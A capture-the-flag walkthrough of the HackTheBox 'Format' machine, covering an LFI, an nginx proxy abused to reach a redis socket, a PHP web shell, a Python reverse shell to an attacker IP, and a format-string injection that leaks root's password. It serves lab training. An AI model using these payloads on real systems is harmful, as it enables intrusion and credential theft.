HTB - Format [Medium]
Scan
> TARGET=10.129.223.178 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0
3000/tcp open http syn-ack ttl 63 nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Domian:
microblog.htb
- Found repo: http://microblog.htb:3000/cooper/microblog
- subdomain scan
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://microblog.htb/" -H "Host: FUZZ.microblog.htb" --hl 107
000000111: 200 83 L 306 W 3973 Ch "app"
000001619: 200 42 L 434 W 3731 Ch "sunny"
Web Enum
- At
app.microblo.htb
, you can register a user and create your own site. - We create a site called
id
and browse toid.microblog.htb
- There you can change the header, txt or upload an image
- Header and txt are vulnerable to lfi
POST /edit/index.php HTTP/1.1
id=../../../../../etc/passwd&header=
- Use this method to read
/etc/nginx/sites-available/default
, note the following line,/static/
is vulnerable, it allows unix socket access.
location ~ /static/(.*)/(.*) { resolver 127.0.0.1; proxy_pass http://$1.microbucket.htb/$2; }
- Read the source file
microblog/app/dashboard/index.php
, we can access redis via unix socket and set thepro
key to true to upgrade user
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
- register a user and upgrade it
> curl http://app.microblog.htb/register/index.php -d 'first-name=test&last-name=test&username=test&password=test'
> curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:test%20pro%20true%20a/b
Foothold
- Login as the newly upgraded user, create a new site, e.g
id.microblog.htb
- Find that the
text
update field (vulnerable to lfi) can be used to upload a reverse shell - Use the text update field to upload a reverse shell at
../uploads/s.php
POST /edit/index.php HTTP/1.1
Host: id.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://id.microblog.htb
Connection: close
Referer: http://id.microblog.htb/edit/?message=Section%20added!&status=success
Cookie: username=20k4jfm8olu8sefft3gekm9t0s
Upgrade-Insecure-Requests: 1
id=../uploads/s.php&txt=<html><body><?php+if(isset($_REQUEST['cmd'])){echo+"<pre>";$cmd=($_REQUEST['cmd']);system($cmd);echo+"</pre>";die;}+?></pre></body></html>
- Use the http backdoor to trigger a reverse shell
http://id.microblog.htb/uploads/s.php?cmd=python3%20-c%20%27import%20pty%3Bimport%20socket%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.59%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bpty.spawn(%22%2Fbin%2Fbash%22)%27
User: cooper
- Find that there is a redis server storing the user
cooper
’s password. Note, you need to use the right method to get the key, it’s hashed. So, need to usehgetall
- https://www.geekbits.io/redis-hset/
www-data@format:/tmp$ redis-cli -s /var/run/redis/redis.sock keys "*"
redis-cli -s /var/run/redis/redis.sock keys "*"
1) "PHPREDIS_SESSION:20k4jfm8olu8sefft3gekm9t0s"
2) "PHPREDIS_SESSION:fp5629m5s9lptejngs681b4our"
3) "test"
4) "cooper.dooper"
5) "test:sites"
6) "cooper.dooper:sites"
www-data@format:/home/cooper$ redis-cli -s /var/run/redis/redis.sock hgetall "cooper.dooper"
<s /var/run/redis/redis.sock hgetall "cooper.dooper"
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
- login as
cooper
via ssh to get the user flag
cooper@format:~$ cat user.txt
d93c61056864792019406f1d4d087a26
PE
- Check sudo rights
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
- Note the background process
2023/05/15 08:03:01 CMD: UID=0 PID=24449 | /usr/bin/cp /root/reset/keys /root/license/keys
2023/05/15 08:03:01 CMD: UID=0 PID=24450 | /usr/bin/cp /root/reset/secret /root/license/secret
- Read the python script at
/usr/bin/license
- Note that
username
andfirstlast
are read from redis (we can control), and.format
is used to pass a value to an arguments calledlicense
. We can craft username with a python format syntax so thatusername
becomes the first argument that matches the namelicense
.
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
- The root’s password is stored in the
License
class, this can be expoded vialicense.__class__.__init__.__globals__
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock hset test first-name "test"
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock hset test last-name "test"
(integer) 0
(integer) 0
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock hset test username "{license.__class__.__init__.__globals__}"
(integer) 0
cooper@format:~$ sudo /usr/bin/license -p test
Plaintext license key:
------------------------------------------------------
microblog{...'__warningregistry__': {'version': 0}, 'secret': 'unCR4ckaBL3Pa$$w0rd', ... 'firstlast': 'testtest'}S7>a4Exw8$?91x7ZF/\|/=){=2~M."2RDJv90T`6testtest
- login as root to get the root flag
root@format:/home/cooper# cat /root/root.txt
8ec9306016d7b4d655c5aa2f8a056632
Support meowmeow
If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack